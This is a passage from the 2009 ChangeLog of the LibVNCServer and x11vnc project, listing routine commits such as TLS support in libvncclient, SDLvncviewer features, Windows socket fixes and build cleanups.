freeshell.org> 2850 2851 * client_examples/SDLvncviewer.c: SDLvncviewer: add SIGINT handler 2852 to be able to actually stop program. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2853 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2854 2855 2009-10-26 Christian Beier <dontmind (a] freeshell.org> 2856 2857 * client_examples/SDLvncviewer.c: SDLvncviewer: use -listennofork 2858 when -listen specified. As -listen mode isn't really working under UNIX and not at all under 2859 windows, use -listennofork and an outer listen loop instead. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2860 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2861 2862 2009-10-26 Christian Beier <dontmind (a] freeshell.org> 2863 2864 * libvncclient/listen.c, libvncclient/vncviewer.c, rfb/rfbclient.h: 2865 libvncclient: add a non-forking listen function. Forking the whole process from deep within a library call does not 2866 really work at all with apps that use multiple threads, i.e. every 2867 reasonably modern GUI app. So, provide a non-forking listen function 2868 so that the caller can decide if to fork, start a thread, etc. This implementation adds a timeout parameter to be able to call the 2869 listen function multiple times so that it's possible to do sth. else 2870 in between, e.g. abort listening. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2871 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2872 2873 2009-10-21 Christian Beier <dontmind (a] freeshell.org> 2874 2875 * client_examples/SDLvncviewer.c: SDLvncviewer: make listen mode 2876 work _somewhat_. set the port to listen on and really ensure that the window of the 2877 fork()ed instance is closed. works somewhat: it's now actually possible to listen for an incoming 2878 connection and to close it again, but the second connection attempt 2879 fails with 'XIO: fatal IO error 11 (Resource temporarily 2880 unavailable)'. this could relate to the fact that SDL uses threads 2881 internally and we're fork()ing here... Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2882 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2883 2884 2009-10-30 Christian Beier <dontmind (a] freeshell.org> 2885 2886 * libvncclient/sockets.c: libvncclient: make listenAtTCPPort() work 2887 under windows. Actually, initSockets() has to be called everywhere we possibly use 2888 sockets the first time. Also fix return value of initSockets(). Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2889 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2890 2891 2009-10-30 Alexander Dorokhine <arrenlex (a] gmail.com> 2892 2893 * libvncclient/rfbproto.c, libvncclient/vncviewer.c, 2894 rfb/rfbclient.h: libvncclient: Add FinishedFrameBufferUpdate 2895 callback When working on a program which searches the display for some image, 2896 one does not want to search again without getting an FB update. Add 2897 a callback to make this possible. 2898 2899 2009-10-30 Alexander Dorokhine <arrenlex (a] gmail.com> 2900 2901 * libvncclient/sockets.c: Fix hostname resolution problems under 2902 Windows On Windows, the WSA system needs to be initialized to be able to 2903 look up host names. This patch also changes *addr = 0 to use the constant 2904 INADDR_LOOPBACK instead, which seems to be required on Windows. 2905 2906 2009-10-17 runge <runge (a] karlrunge.com> 2907 2908 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, 2909 x11vnc/solid.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1, 2910 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Workaround for inane 2911 X_ShmAttach incompatibility in Xorg, -solid support in xfce, 2912 showrfbauth option. 2913 2914 2009-10-08 runge <runge (a] karlrunge.com> 2915 2916 * x11vnc/misc/enhanced_tightvnc_viewer/README, 2917 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 2918 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 2919 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 2920 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, 2921 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 2922 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 2923 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 2924 ll.patch: Synchronize ssvnc source, etc. Nearly the 1.0.24 2925 release... 2926 2927 2009-10-08 runge <runge (a] karlrunge.com> 2928 2929 * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 2930 x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 2931 x11vnc/connections.h, x11vnc/enc.h, x11vnc/help.c, 2932 x11vnc/keyboard.c, x11vnc/options.c, x11vnc/options.h, 2933 x11vnc/params.h, x11vnc/remote.c, x11vnc/remote.h, x11vnc/screen.c, 2934 x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c, 2935 x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h, 2936 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, 2937 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, 2938 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/util.c, x11vnc/util.h, 2939 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 2940 x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c, 2941 x11vnc/xevents.h, x11vnc/xwrappers.c: Huge number of changes, see 2942 x11vnc/ChangeLog 2943 2944 2009-10-07 runge <runge (a] karlrunge.com> 2945 2946 * libvncclient/rfbproto.c: Some broken build environments treat 2947 fprintf(fh, buf) as a fatal error... 2948 2949 2009-10-07 runge <runge (a] karlrunge.com> 2950 2951 * libvncserver/main.c: Some broken build environments treat 2952 fprintf(fh, buf) as a fatal error... 2953 2954 2009-10-02 Vic Lee <llyzs (a] 163.com> 2955 2956 * libvncclient/rfbproto.c, libvncclient/tls.c, rfb/rfbclient.h, 2957 rfb/rfbproto.h: Add VeNCrypt support in libvncclient Signed-off-by: Vic Lee <llyzs (a] 163.com> 2958 2959 2009-10-02 Christian Beier <dontmind (a] freeshell.org> 2960 2961 * configure.ac, libvncclient/rfbproto.c, libvncclient/sockets.c, 2962 rfb/rfb.h, vncterm/Makefile.am: mingw32 crosscompile fixes. SOCKET is redefined in winsock2.h so #undef it where winsock2.h is 2963 included. The changes in rfbproto.c circumvent crosscompiler errors 2964 like 'S_IFMT' undeclared ...', the Makefile.am changes avoid 2965 building linux specific stuff for a win32 host target. Also added 2966 configure option to specify sdl-config. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2967 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2968 2969 2009-10-02 Johannes Schindelin <johannes.schindelin (a] gmx.de> 2970 2971 * configure.ac: Fallback to --without-client-tls if GNUTLS could not 2972 be found Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2973 2974 2009-10-01 Vic Lee <llyzs (a] 163.com> 2975 2976 * configure.ac, libvncclient/Makefile.am, libvncclient/rfbproto.c, 2977 libvncclient/sockets.c, libvncclient/tls.c, libvncclient/tls.h, 2978 libvncclient/vncviewer.c, rfb/rfbclient.h, rfb/rfbproto.h: Add 2979 anonymous TLS support in libvncclient Signed-off-by: Vic Lee <llyzs (a] 163.com> 2980 2981 2009-10-02 Johannes Schindelin <johannes.schindelin (a] gmx.de> 2982 2983 * test/encodingstest.c: encodingstest: fix multi-threading issue Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2984 2985 2009-10-02 Johannes Schindelin <johannes.schindelin (a] gmx.de> 2986 2987 * test/encodingstest.c: encodingstest: fix whitespace Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2988 2989 2009-10-02 Johannes Schindelin <johannes.schindelin (a] gmx.de> 2990 2991 * AUTHORS: Add Christian Beier to the AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2992 2993 2009-10-02 Christian Beier <dontmind (a] freeshell.org> 2994 2995 * libvncclient/rfbproto.c: Fix IsUnixSocket() This is a pure functionality fix: according to its manpage, stat() 2996 returns 0 on success. Checking for a return value of zero fixes 2997 incorrect results of IsUnixSocket(). Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2998 2999 2009-09-27 Johannes Schindelin <johannes.schindelin (a] gmx.de> 3000 3001 * AUTHORS: Add Vic Lee to the author list Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3002 3003 2009-09-14 Vic Lee <llyzs (a] 163.com> 3004 3005 * libvncclient/rfbproto.c: Fix bug for logging unsupported security 3006 types Signed-off-by: Vic Lee <llyzs (a] 163.com> 3007 3008 2009-09-14 Vic Lee <llyzs (a] 163.com> 3009 3010 * libvncclient/rfbproto.c: Fix bug for VNC Server version 4 Signed-off-by: Vic Lee <llyzs (a] 163.com> 3011 3012 2009-08-10 runge <runge (a] karlrunge.com> 3013 3014 * x11vnc/README, x11vnc/connections.c, x11vnc/enc.h, x11vnc/help.c, 3015 x11vnc/pointer.c, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, 3016 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Improvements 3017 to -unixpw_cmd and -unixpw_nis. Experimental X11VNC_WATCH_DX_DY=1 3018 for buggy theme menus, see: 3019 http://ubuntuforums.org/showthread.php?t=1223490 3020 3021 2009-07-11 runge <runge (a] karlrunge.com> 3022 3023 * prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/help.c, 3024 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Setup for x11vnc version 3025 0.9.9 3026 3027 2009-06-19 runge <runge (a] karlrunge.com> 3028 3029 * classes/ssl/README, 3030 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 3031 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/README: 3032 Add proxyHost and proxyPort java applet params. 3033 3034 2009-06-18 runge <runge (a] karlrunge.com> 3035 3036 * classes/ssl/ss_vncviewer, 3037 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 3038 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 3039 x11vnc/ChangeLog, x11vnc/README, 3040 x11vnc/misc/enhanced_tightvnc_viewer/README, 3041 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, 3042 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 3043 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3044 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3045 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 3046 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 3047 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3048 ll.patch: classes/ssl: java viewer now handles auth-basic proxy 3049 logins. misc/enhanced_tightvnc_viewer: update ssvnc. 3050 3051 2009-06-16 Johannes Schindelin <johannes.schindelin (a] gmx.de> 3052 3053 * libvncclient/vncviewer.c: Fix two issues in rfbGetClient() There was an unnecessary assignment, and an assignment of a string 3054 that was to be free()ed later, so it has to be strdup()ed. Both issues spotted by Roman Held. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3055 3056 2009-06-14 runge <runge (a] karlrunge.com> 3057 3058 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 3059 x11vnc/help.c, x11vnc/screen.c, x11vnc/sslhelper.c, 3060 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: 3061 X11VNC_REFLECT_PASSWORD env. var., warning about compiz, improve 3062 single-port. 3063 3064 2009-05-22 Stefan Becker <stefanb2 (a] users.sourceforge.net> 3065 3066 * libvncclient/vncviewer.c: Add close() to rfbClientCleanup() Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3067 3068 2009-05-21 runge <runge (a] karlrunge.com> 3069 3070 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, 3071 x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, 3072 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/misc/turbovnc/convert, 3073 x11vnc/options.c, x11vnc/options.h, x11vnc/rates.c, 3074 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 3075 x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/user.c, 3076 x11vnc/userinput.c, x11vnc/util.c, x11vnc/util.h, x11vnc/x11vnc.1, 3077 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, 3078 x11vnc/xrecord.c, x11vnc/xwrappers.c: Thread safety. Fix -clip -in 3079 -rawfb. Try to avoid Xorg stuck key bug. 3080 3081 2009-05-21 runge <runge (a] karlrunge.com> 3082 3083 * ChangeLog, configure.ac, libvncserver/main.c, 3084 libvncserver/rfbserver.c, libvncserver/tight.c, 3085 libvncserver/tightvnc-filetransfer/rfbtightserver.c, 3086 libvncserver/zlib.c, libvncserver/zrle.c, 3087 libvncserver/zrleencodetemplate.c, rfb/rfb.h: Thread safety for 3088 zrle, zlib, tight. Proposed tight security type fix for debian bug 3089 517422. 3090 3091 2009-05-20 llyzs <llyzs (a] 163.com> 3092 3093 * rfb/rfbclient.h: Export the functions SupportsClient2Server and 3094 SupportsServer2Client These are useful functions for VNC clients, so let's export them for 3095 everybody to use. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3096 3097 2009-05-12 Johannes Schindelin <johannes.schindelin (a] gmx.de> 3098 3099 * AUTHORS: Add Ben to the authors Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3100 3101 2009-05-12 Johannes Schindelin <johannes.schindelin (a] gmx.de> 3102 3103 * autogen.sh: Make autogen.sh executable Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3104 3105 2009-05-12 Ben Klopfenstein <benklop (a] gmail.com> 3106 3107 * libvncclient/rfbproto.c, libvncclient/sockets.c, rfb/rfbclient.h: 3108 libvncclient: Unix sockets support by Ben Klopfenstein Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3109 3110 2009-03-31 runge <runge (a] karlrunge.com> 3111 3112 * x11vnc/README, x11vnc/connections.c, x11vnc/connections.h, 3113 x11vnc/screen.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h, 3114 x11vnc/x11vnc_defs.c: rebuild for x11vnc dev 0.9.8 3115 3116 2009-03-31 runge <runge (a] karlrunge.com> 3117 3118 * prepare_x11vnc_dist.sh: x11vnc 0.9.8 dev 3119 3120 2009-03-30 Johannes Schindelin <johannes.schindelin (a] gmx.de> 3121 3122 * success.html: Add LCD4Linux to the success stories Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3123 3124 2009-03-16 runge <runge (a] karlrunge.com> 3125 3126 * x11vnc/README, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c, 3127 x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3128 x11vnc/x11vnc_defs.c: Add some -remap tricks. Limit rfbCFD message 3129 count. 3130 3131 2009-03-14 runge <runge (a] karlrunge.com> 3132 3133 * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/README, 3134 x11vnc/allowed_input_t.h, x11vnc/avahi.c, x11vnc/avahi.h, 3135 x11vnc/blackout_t.h, x11vnc/cleanup.c, x11vnc/cleanup.h, 3136 x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, 3137 x11vnc/cursor.h, x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c, 3138 x11vnc/gui.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, 3139 x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h, 3140 x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/macosx.c, 3141 x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h, 3142 x11vnc/macosxCGP.c, x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, 3143 x11vnc/macosxCGS.h, x11vnc/misc/LICENSE, 3144 x11vnc/misc/turbovnc/Makefile.am, x11vnc/misc/turbovnc/README, 3145 x11vnc/misc/turbovnc/apply_turbovnc, x11vnc/misc/turbovnc/convert, 3146 x11vnc/misc/turbovnc/convert_rfbserver, 3147 x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/options.c, 3148 x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, 3149 x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, 3150 x11vnc/remote.c, x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, 3151 x11vnc/screen.c, x11vnc/screen.h, x11vnc/scrollevent_t.h, 3152 x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c, 3153 x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h, 3154 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, 3155 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/uinput.c, 3156 x11vnc/uinput.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, 3157 x11vnc/user.h, x11vnc/userinput.c, x11vnc/userinput.h, 3158 x11vnc/util.c, x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h, 3159 x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/winattr_t.h, 3160 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 3161 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, 3162 x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c, 3163 x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h, 3164 x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c, 3165 x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Insert 3166 x11vnc copyright and license notices. 3167 3168 2009-03-14 runge <runge (a] karlrunge.com> 3169 3170 * x11vnc/README: Test git commit setting username & etc. 3171 3172 2009-03-14 Karl J. Runge <runge (a] haystack.runge.home> 3173 3174 * x11vnc/README, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, 3175 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Tweak settings and docs for 3176 create_display. Add FD_EXTRA finishing cmd. 3177 3178 2009-03-13 runge <runge> 3179 3180 * x11vnc/ChangeLog, x11vnc/README, x11vnc/screen.c, 3181 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3182 x11vnc/x11vnc_defs.c: x11vnc: Fix off-screen bug for -ncache_cr 3183 copyrect. 3184 3185 2009-03-12 dscho <dscho> 3186 3187 * ChangeLog, client_examples/SDLvncviewer.c: Teach SDLvncviewer 3188 about scroll wheel events Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3189 3190 2009-03-12 dscho <dscho> 3191 3192 * client_examples/SDLvncviewer.c: SDLvncviewer: fix passing a wrong 3193 pointer type Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3194 3195 2009-03-08 dscho <dscho> 3196 3197 * ChangeLog, client_examples/Makefile.am, 3198 client_examples/SDLvncviewer.c, client_examples/scrap.c, 3199 client_examples/scrap.h: Clipboard support for SDLvncviewer The clipboard support has only been tested on Linux so far. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3200 3201 2009-03-07 runge <runge> 3202 3203 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 3204 x11vnc/help.c, x11vnc/misc/turbovnc/Makefile.am, 3205 x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc, 3206 x11vnc/misc/turbovnc/convert, 3207 x11vnc/misc/turbovnc/convert_rfbserver, 3208 x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/scan.c, 3209 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, 3210 x11vnc/user.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Allow range 3211 for X11VNC_SKIP_DISPLAY, document grab Xserver issue. Add 3212 progress_client() to proceed more quickly thru handshake. 3213 Improvements to turbovnc hack. 3214 3215 2009-03-07 dscho <dscho> 3216 3217 * ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer: 3218 upon focus loss, force releasing the Alt keys When switching windows using the Alt+Tab shortcut, SDLvncviewer 3219 would get the "down" event, but not the "up" event. This patch 3220 provides a workaround. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3221 3222 2009-03-07 dscho <dscho> 3223 3224 * client_examples/SDLvncviewer.c: SDLvncviewer: refactor event 3225 handling Instead of having deep indent levels, put the code to handle events 3226 into its own function. That also helps readability. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3227 3228 2009-03-07 dscho <dscho> 3229 3230 * TODO: Update SDLvncviewer TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3231 3232 2009-03-07 dscho <dscho> 3233 3234 * ChangeLog, client_examples/SDLvncviewer.c: Teach SDLvncviewer to 3235 be resizable Using "SDLvncviewer -resizable", you make the window resizable. 3236 This means that you can shrink the window (e.g. when you are trying 3237 to access an x11vnc from your little netbook), or you can enlarge 3238 it. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3239 3240 2009-03-06 dscho <dscho> 3241 3242 * ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer: 3243 enable key repeat Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3244 3245 2009-02-28 runge <runge> 3246 3247 * configure.ac, x11vnc/ChangeLog, x11vnc/README, 3248 x11vnc/misc/Makefile.am, x11vnc/misc/turbovnc/Makefile.am, 3249 x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc, 3250 x11vnc/misc/turbovnc/convert, x11vnc/misc/turbovnc/tight.c, 3251 x11vnc/misc/turbovnc/turbojpeg.h, 3252 x11vnc/misc/turbovnc/undo_turbovnc: x11vnc: add kludge to experiment 3253 with turbovnc. 3254 3255 2009-02-26 runge <runge> 3256 3257 * x11vnc/ChangeLog, x11vnc/README, x11vnc/remote.c, 3258 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, 3259 x11vnc/x11vnc_defs.c: x11vnc: fix some -QD cases for use in 3260 tkx11vnc. 3261 3262 2009-02-22 runge <runge> 3263 3264 * x11vnc/README, x11vnc/avahi.c, x11vnc/enc.h, x11vnc/selection.c: 3265 fix some compiler warnings. 3266 3267 2009-02-22 runge <runge> 3268 3269 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1, 3270 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: add -noskip_lockkeys option 3271 for future use. 3272 3273 2009-02-04 runge <runge> 3274 3275 * classes/ssl/README, 3276 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 3277 x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/remote.c, 3278 x11vnc/screen.c, x11vnc/selection.c, x11vnc/sslhelper.c, 3279 x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/user.c, 3280 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3281 x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: x11vnc: Add "sendbell" 3282 remote cmd. Fix copyrect updates under -reflect. Workaround that 3283 checks valid window of selection requestor. Wait on some ssl helper 3284 pids earlier. Workaround XAUTHLOCALHOSTNAME for some new usage 3285 modes. Set fake fb to requested bpp with correct masks. -padgeom 3286 once:... mode. Set LIBXCB_ALLOW_SLOPPY_LOCK by default. 3287 rfbRandomBytes earlier. classes/ssl: Update jars. Add "TOP_" 3288 dropdown customization to ultravnc java viewer applet FTP panel. 3289 3290 2009-02-03 dscho <dscho> 3291 3292 * test/Makefile.am: test/Makefile: use check_PROGRAMS Rather than use noinst_PROGRAMS, check_PROGRAMS will define programs 3293 that are only compiled when someone actually runs `make check`. Signed-off-by: Mike Frysinger <vapier (a] gentoo.org> Signed-off-by: 3294 Johannes Schindelin <johannes.schindelin (a] gmx.de> 3295 3296 2009-02-03 dscho <dscho> 3297 3298 * ChangeLog: Record Mike's automake cleanups Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3299 3300 2009-02-03 dscho <dscho> 3301 3302 * Makefile.am, client_examples/Makefile.am, configure.ac, 3303 contrib/Makefile.am, examples/Makefile.am, 3304 libvncclient/Makefile.am, libvncserver/Makefile.am, 3305 test/Makefile.am, vncterm/Makefile.am, x11vnc/Makefile.am: clean up 3306 build flags The flag handling (both compiler options and include paths) are a 3307 mess at the moment. There is no point in forcing "-O2 -g" when 3308 these are already the defaults, and if someone changes the defaults, 3309 chances are good they don't want you clobbering their choices. The -Wall flag should be handled in configure and thrown into CFLAGS 3310 once rather than every Makefile.am. Plus, this way we can control 3311 which compilers the flag actually gets used with. Finally, the INCLUDES variable is for -I paths, not AM_CFLAGS. Nor 3312 should it contain -I. as this is already in the default includes 3313 setup. Signed-off-by: Mike Frysinger <vapier (a] gentoo.org> Signed-off-by: 3314 Johannes Schindelin <johannes.schindelin (a] gmx.de> 3315 3316 2009-02-03 dscho <dscho> 3317 3318 * configure.ac: configure: use _cv_ in cache var name Newer autoconf fails if _cv_ is not in the cache var name. Signed-off-by: Mike Frysinger <vapier (a] gentoo.org> Signed-off-by: 3319 Johannes Schindelin <johannes.schindelin (a] gmx.de> 3320 3321 2009-02-03 dscho <dscho> 3322 3323 * configure.ac: configure: use AM_PROG_CC_C_O Newer automakes error out due to per-file CFLAGS being used unless 3324 the macro AM_PROG_CC_C_O is set in configure.ac. [jes: The macro AM_PROG_CC_C_O has been around since 1999, so it 3325 should be safe.] Signed-off-by: Mike Frysinger <vapier (a] gentoo.org> Signed-off-by: 3326 Johannes Schindelin <johannes.schindelin (a] gmx.de> 3327 3328 2009-02-03 dscho <dscho> 3329 3330 * autogen.sh: autogen.sh: run with set -e If any autotool command fails, we want to abort, not keep running. 3331 Otherwise, errors in say a Makefile.am will be missed as the 3332 automake failure gets ignored and then lost in the noise. Signed-off-by: Mike Frysinger <vapier (a] gentoo.org> Signed-off-by: 3333 Johannes Schindelin <johannes.schindelin (a] gmx.de> 3334 3335 2009-01-12 runge <runge> 3336 3337 * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 3338 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 3339 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3340 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3341 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, 3342 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 3343 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 3344 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3345 ll.patch: SSVNC 1.0.22 release (+ a little bit more). crl lists, 3346 ssh pid finding improvements, and more. 3347 3348 2009-01-12 runge <runge> 3349 3350 * CMakeLists.txt, ChangeLog, configure.ac: configure.ac, 3351 CMakeLists.txt: set LibVNCServer version to 0.9.7 3352 3353 2009-01-12 runge <runge> 3354 3355 * classes/ssl/README, classes/ssl/ss_vncviewer, 3356 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 3357 x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3358 x11vnc/x11vnc_defs.c: classes/ssl: Add configurable Ultra java 3359 applet Filexfer Drives drop down (e.g. 3360 ftpDropDown=Home.Desktop.bin). Document all applet parameters in 3361 classes/ssl/README. 3362 3363 2009-01-11 runge <runge> 3364 3365 * ChangeLog: Forgot ChangeLog 3366 3367 2009-01-11 runge <runge> 3368 3369 * prepare_x11vnc_dist.sh: prepare_x11vnc_dist.sh: fix SUBDIRS and 3370 DIST_SUBDRIS when using --with-system-libvncserver 3371 3372 2009-01-10 runge <runge> 3373 3374 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/screen.c, 3375 x11vnc/selection.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, 3376 x11vnc/xrecord.c: x11vnc: fix failure of -8to24 on default depth 24 3377 due to nonstandard indexed color support changes. Fix small window 3378 for failure after XSendEvent selection call; add env var. 3379 X11VNC_SENDEVENT_SYNC=1 to take even more care. 3380 3381 2009-01-04 runge <runge> 3382 3383 * x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c, 3384 x11vnc/connections.c, x11vnc/connections.h, x11vnc/enc.h, 3385 x11vnc/gui.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c, 3386 x11vnc/sslhelper.c, x11vnc/x11vnc.c, x11vnc/xwrappers.c: x11vnc: fix 3387 compiler warnings. 3388 3389 2009-01-04 runge <runge> 3390 3391 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 3392 x11vnc/connections.c, x11vnc/help.c, x11vnc/linuxfb.c, 3393 x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, 3394 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 3395 x11vnc/sslhelper.c, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3396 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: x11vnc: 3397 add -rmflag option, -rawfb vt support, bpp < 8 support for rawfb, 3398 find /dev/video better. 